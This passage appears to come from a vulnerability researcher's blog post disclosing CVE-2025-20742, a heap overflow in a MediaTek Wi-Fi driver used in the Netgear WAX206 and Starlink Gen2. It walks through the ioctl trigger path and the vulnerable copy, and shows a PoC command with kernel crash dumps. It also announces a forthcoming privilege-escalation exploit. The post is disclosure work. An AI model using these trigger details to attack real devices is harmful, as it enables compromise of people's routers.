[ 2750.525708] x21: 0000000000000005 x20: ffffffc01e7338b0
[ 2750.531020] x19: 0000000000000000 x18: 0000000000000001
[ 2750.536332] x17: 0000007f8633d340 x16: ffffff800815a0b0
[ 2750.541643] x15: 0000000000000000 x14: 00000064000001f4
[ 2750.546955] x13: 0000131100000000 x12: 0002ffba006e0200
[ 2750.552267] x11: 0000000000000000 x10: 0000040404010001
[ 2750.557578] x9 : 0000000604010100 x8 : ffffff800b370f28
[ 2750.562890] x7 : ffffff800ae75e88 x6 : ffffffc01e733a48
[ 2750.568202] x5 : 0000000000000040 x4 : 0000000000000000
[ 2750.573513] x3 : 1337babe1337babe x2 : ffffffc01e7338b0
[ 2750.578825] x1 : 0000000000000005 x0 : ffffffc0150fb010
[ 2750.584137]
CVE-2025-20742: Heap Overflow in FT_R1khEntryInsert
- Affected Versions: MT7915 v7.4.0.0, MT7629 v6.0.3.0
- Affected Devices: Netgear WAX206, Starlink Wifi Gen2
The vulnerability occurs due to a lack of bounds checking on the attacker-controlled values prior to using one of those values as the size argument to a write operation in FT_R1khEntryInsert(). This function is reached via an ioctl to the RT_PRIV command with subcommand/OID RT_SET_FT_KEY_RSP, and expects the data sent from userspace to be in the format of a struct FT_KDP_EVT_KEY_ELM object. This object includes another embedded object of type FT_KDP_PMK_KEY_INFO, which has members representing the actual key material being transmitted. These members include a statically sized buffer R0KHID[48] and a size value in R0KHIDLen, with the latter defining the actual size of the data in R0KHID[48].
After copying the argument data from userspace into a kernel allocated buffer in RTMPAPSetInformation(), this data is passed to FT_KDP_KeyResponseToUs() for processing/handling. Some initial parsing is done on the data and then it is cast to type FT_KDP_EVT_KEY_ELM and some basic validation is done on some values of the struct. The code continues on to call FT_R1khEntryInsert() and passes in pointers to multiple members of the key element struct sent by the client, including the R0KHID and R0KHIDLen members.
In FT_R1khEntryInsert(), an allocation is made to hold the data for an object of type FT_R1HK_ENTRY (148 bytes) and the values passed in as arguments to the function are used to initialize the new object. The vulnerability occurs when the R0KHID data is copied from the source buffer into a destination buffer using the R0KHIDLen sent in the attacker-controlled key element struct without checking that it does not exceed the size of the destination (49 bytes). The R0KHIDLen field of the FT_KDP_PMK_KEY_INFO is of type unsigned char, meaning that the maximum value it can hold is 255, so this is the max value that can be chosen by an attacker. This results in the ability to overflow the FT_KDP_PMK_KEY_INFO.R0khId[49] buffer by ~200 bytes.
// @hypr: allocation of vulnerable obj
if (alloc_mem(p_obj, &entry, sizeof(FT_R1HK_ENTRY)) == NDIS_STATUS_FAILURE) {
// error case
}
...
if (pR0khId != NULL && R0KHIDLen > 0) {
entry->R0khIdLen = R0KHIDLen;
// @hypr: VULNERABLE
NdisMoveMemory(entry->R0khId, pR0khId, R0KHIDLen);
}
PoC
PoC Source: PoC Link
The attached PoC can be used to trigger the vulnerability and cause a crash like the one shown in the output below the PoC code. It may require more than a single run to corrupt memory enough to cause a crash but this will usually happen within 3 runs. NOTE: multiple runs will require changing the filler byte argument each run, otherwise the request won’t be seen as a new entry and no action will be taken.
./poc 0x42
It will produce output like this upon crashing:
[ 8566.183685] Unable to handle kernel paging request at virtual address 42424242424242
[ 8566.191426] pgd = ffffffc014989000
[ 8566.194820] [42424242424242] *pgd=0000000000000000, *pud=0000000000000000
[ 8566.201610] Internal error: Oops: 96000004 [#2] PREEMPT SMP
[ 8566.331494] CPU: 1 PID: 0 Comm: swapper/1 Tainted: P D 4.4.198 #0
[ 8566.338707] Hardware name: MediaTek MT7622 AX3600-gmac1-WAX206 board (DT)
[ 8566.345486] task: ffffffc0030bee00 task.stack: ffffffc003100000
[ 8566.351402] PC is at __kmalloc+0x110/0x1f0
[ 8566.355489] LR is at __kmalloc+0x4c/0x1f0
[ 8566.359490] pc : [<ffffff8008143208>] lr : [<ffffff8008143144>] pstate: 60000145
[ 8566.366875] sp : ffffffc01ffb7b10
[ 8566.370181] x29: ffffffc01ffb7b10 x28: ffffff800a6d4fd0
[ 8566.375493] x27: ffffff800a671000 x26: 0000000080000100
[ 8566.380805] x25: ffffffc01ffb7d80 x24: 0000000000000005
[ 8566.386117] x23: 0000000000127169 x22: ffffff8000a3adc0
[ 8566.391429] x21: 0000000002080020 x20: 4242424242424242
A full LPE exploit using this bug and a couple of others against the WAX206 has been written and will be released along with this post. More details will be given in an upcoming blog post :)

wrapping up

That’s it! But more to come soon, including a deep dive into the full-chain exploit for CVE-2025-20742 and a deep dive into a few bugs not included in this post which impact the WPA EAPOL handlers and which are remotely exploitable! I’m also working on cleaning up some code I wrote earlier this year for a QEMU PCI device to emulate the MT7622 (at least enough to load the driver and interact with the ioctl handlers) which was super useful for debugging and reproducing bugs without the limitations on the test device I had access to. So, stay tuned :)